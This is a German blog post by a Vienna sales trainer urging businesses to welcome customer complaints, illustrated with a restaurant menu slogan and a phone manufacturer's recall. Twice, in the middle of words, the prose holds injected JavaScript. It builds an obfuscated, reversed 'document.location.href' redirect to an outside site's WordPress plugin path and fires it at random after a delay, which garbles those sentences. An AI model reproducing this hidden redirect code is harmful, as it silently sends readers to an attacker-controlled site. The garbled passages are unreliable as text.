Wir freuen uns über Reklamationen!
„Hurra! Eine unzufriedene Kundin!
Juchuu! Ein enttäuschter Kunde!“
Das ist nicht sarkastisch gemeint. Eigentlich leider, eine derartige positive und konstruktive Einstellung gegenüber Reklamationen findet man nicht so häufig, Wenn es um die eigenen Produkte oder persönliche Leistungen geht, werden Reklamationen und Beschwerden schnell als Kritik empfunden. Man fühlt sich hinsichtlich seiner eigenen Arbeit persönlich angegriffen.
Wenn Ihnen Reklamationen Ihres Kunden unangenehm ist, so ist das völlig verständlich. Wer hat schon gern unzufriedene Kunden, die noch dazu beim Ausdruck ihrer Enttäuschung meist nicht gerade freundlich sind. Derartig Unangenehmes möchte man am liebsten vermeiden. Vielleicht fragen Sie sich jetzt:
„Was gibt es da zu freuen?“
Ein ganz wichtiger Grund dazu vorweg:
Stellen Sie sich bitte einmal vor, unzufriedene Kunden würden ihre Reklamationen nicht bei Ihnen vorbringen und ohne etwas zu sagen bei Ihrem Mitbewerber kaufen. Das wäre fatal in der Auswirkung auf Umsatz und Gewinn.
Da ist das unangenehme Gefühl bei der Entgegennahme von einzelnen Reklamationen sicher das wesentlich „kleinere Übel“.
Das Positive an Reklamationen Ihrer Kunden:
Mit einer optimalen Reklamations-Behandlung können Sie dreifach profitieren:
- Sie erhalten konkrete Hinweise für Verbesserungen im innerbetrieblichen Ablauf Ihres Unternehmens.
- Sie festigen und stärken nachhaltig die Beziehung zu Ihren Kunden.
- Sie sichern Ihren Umsatz und Gewinn.
Daher: Sollten sich alle in Ihrem Unternehmen über Reklamationen freuen.
Zwei Beispiele aus der Praxis:
Dieser Wirt in seinem Restaurant ist froh, wenn ein Gast bei ihm reklamiert:
In der Menü-Karte eines beliebten Restaurants in der Wiener Innenstadt steht ganz vorne auffallend dieser Satz:
„Wenn Sie zufrieden waren, sagen Sie es anderen – wenn Sie nicht zufrieden waren, sagen Sie es bitte mir!“
Und der Restaurant-Chef weiß, warum er das in die Menükarte schreibt. Er ist sich sicher, nicht der Gast der reklamiert ist der Unangenehmste.
Viel unangenehmer ist der Gast, der schweigend und unauffällig das Lokal verlässt, nie wieder kommt und noch dazu in seinem Bekanntenkreis Negativ-Propaganda für das Restaurant verbreitet.
Und vielleicht sogar noch am selben Abend Negatives in den sozialen Medien postet.
Deswegen freut sich der Gastwirt, wenn ein Gast direkt bei ihm reklamiert. Der Gast gibt ihm damit eine Chance, sich zu verbessern.
In diesem Beispiel wollte das Unternehmen unbedingt, dass Käufer bei ihm reklamieren:
Bei einem namhaften Hersteller von Mobil-Telefongeräten (Handys), hatte eine Charge einen kleinen Produktionsfehler, der in der Qualitäts-Sicherung zu spät erkannt wurde. Das Produkt ging mit diesem Fehler in den Einzelhandel.
Sie können sich vorstellen, dass sehr bald eine Welle von Reklamationen über den Handel und auch von den Einzelkunden direkt beim Hersteller hereinbrach. Ich war zu diesem Zeitpunkt bei dem Unternehmen gerade als externer Verkaufs-Trainer tätig. Jetzt wurde blitzartig ein spezielles Training zur optimalen Reklamations-Behandlung ausgerichtet.
Durch die Anrufer hatte der Hersteller die Möglichkeit mit den Kunden zu reden und einen größeren Image-Schaden abzuwehren. Daher freute sich das Unternehmen über jede einzelne Kunden-Reklamation.
Wenn Sie über weitere konkrete Tipps, wie Sie dem Kunden das Reklamieren leicht machen können, lesen wollen:
Reklamationen sind lukrative Chancen
Untersuchungen zeigen, dass die Kundenbindung bei zufriedenen Kunden erstaunlicherweise geringer ist, als bei Kunden, die mit ihrem Lieferanten ein Problem hatten, das – natürlich – zu ihrer Zufriedenheit gelöst wurde.
Denn besonders im „Krisenfall“ kann der Kunde die Zuverlässigkeit seines Geschäftspartners tatsächlich überprüfen und beurteilen. Der unangenehmste Kunde ist letztlich nicht der, der reklamiert. Die Situation, in der der Kunde reklamiert, ist unangenehm, klar. Aber, wie oben schon erwähnt:
Viel unangenehmer ist jedoch der Kunde, der unzufrieden ist, sich jedoch nicht bei Ihnen beschwert. Dafür aber nie wieder ein Produkt von Ihnen kauft und mit Sicherheit in seinem Umfeld Negativ-Propaganda verbreitet. Und Sie wissen nichts davon. Marketing-Statistiken zeigen, dass immer weniger Kunden bei ihren Lieferanten oder Händlern reklamieren.
Wenn Sie mehr darüber lesen wollen:
Darum: Freuen Sie sich, wenn ein Kunde bei Ihnen reklamiert!
Und:
Reklamationen bieten jedem Unternehmen auch eine große Chance, die Beziehung zu seinem Kunden positiver zu gestalten und eine intensivere Kundenbindung zu erreichen. Gerade bei Reklamationen und Beschwerden können Sie Ihren Kunden zeigen, wie wichtig sie für Sie und für das Unternehmen sind.
Auch zeigen Statistiken, dass bei einer professionellen Reklamations- Behandlung die Beziehung zum Kunden oft wesentlich besser „hält“ als vorher. Und Kunden kaufen wieder gen. Natürlich vorausgesetzt das Problem des Kunden wurde gut gelöst.
Aus zwei Gründen ist das so:
- Der Kunde fühlt sich wichtig genommen und anerkannt. Das wird er Ihnen mit weiteren Käufen danken.
- Der Kunde erhält im Gespräch zusätzliche Informationen, die die Ware oder Dienstleistung für ihn besonders attraktiv machen können.
Weil im Moment der Reklamation die Aufmerksamkeit des Kunden besonders hoch ist, kann man in einer solchen Situation alles verspielen – oder sehr viel gewinnen.
Deswegen,
freuen Sie sich, wenn ein Kunde reklamiert.
Denn der Kunde gibt Ihnen eine Chance, es wieder gut zu machen.
Schätzen Sie den Informations-Gewinn
Der Kunde gibt Ihnen natürlich auch die Information wie Sie innerbetrieblich besser werden können. Verbessern können wir uns doch alle immer wieder, oder?
Wer sich beschwert, ist ein guter Kunde.
Denn er will bleiben. Eine Reklamation zeigt, dass durchaus noch Interesse an einer Zusammenarbeit besteht. Es liegt nur gerade ein Hindernis im Weg, das weggeräumt werden will. Je schneller, destoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to besser.
Begrüßen Sie also Reklamationen, denn das zeigt, dass Sie der Kunde im Prinzip mag. Deswegen sind Sie dem Kunden gegenüber nicht ungehalten, wenn er reklamiert, sondern seien Sie ihm dankbar. Der Kunde muss wissen, dass seine Reklamation willkommen ist – und: Wie – und bei wem – er sich beschweren kann.
Ermuntern Sie Ihre Kunden, über Probleme sofort mit Ihnen zu sprechen.
Und es wird noch besser:
Infolge einer vielleicht nicht erwarteten professionellen Reklamationsbearbeitung wird das Unternehmen gern gelobt und empfohlen.
„Hurra, eine Reklamation!“ Sie sollten also froh und dankbar rufen, wenn ein Kunde eine Beschwerde hat.
Jede vorgebrachte Reklamation, egal ob mündlich oder schriftlich vorgetragen, ist ein Kundengeschenk.
Und bringt wertvolle Erkenntnisse, Hinweise und Chancen, wie zum Beispiel:
- Schwachstellen aufdecken, Fehler abstellen,
- Verbesserungsprozesse einleiten,
- Innovationen anregen,
- einen zaudernden Kunden zurückholen,
- negative Mundpropaganda vermeiden
- Kundenverlusten vorbeugen und
- seinen guten Ruf retten.
Da sollte jedes Unternehmer-Herz erfreut sein!
Mögliche Schwachstellen abstellen
Was den einen Kunden ärgert, das stört womöglich andere Kunden auch. Die unprofessionelle Entgegennahme und Behandlung von Reklamationen ist ein häufiger Grund, dass Kunden zukünftig bei anderen Lieferanten kaufen.
Wenn sich Ihr Unternehmen als Profi in der Bearbeitung von Reklamationen zeigt, können Ihnen viele unliebsame Kundenverluste erspart bleiben.
Bedanken Sie sich auch
Bedanken Sie sich aufrichtig bei jedem Kunden, der reklamiert!. Das könnte beispielsweise so formuliert werden:
„Danke, Herr Kunde, dass Sie diesen Punkt so offen ansprechen.“
Oder so:
„Wie gut, Frau Kundin, dass Sie auf dieses Thema so ehrlich zu sprechen kommen.“
Und hören Sie genau hin. Zeigen Sie sich partnerschaftlich und kooperationsbereit. Aber gehen Sie nicht in eine Opferhaltung.
Denn besonders im „Krisenfall“ kann der Kunde die Lösungs-Kompetenz und Zuverlässigkeit seines Lieferanten direkt beurteilen.
Freuen sie sich über den nächsten reklamierenden Kunden und machen Sie ihm das Reklamieren leicht.
Ab sofort Ihr Mottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:
Schreiben Sie mir Ihre eigenen Erkenntnisse, Erfahrungen und Meinungen dazu. Ich freue mich auf Ihre Kommentare.
Freuen Sie sich über die nächsten Reklamationen.
Viel Erfolg und Servus aus Wien
Richard Wagner
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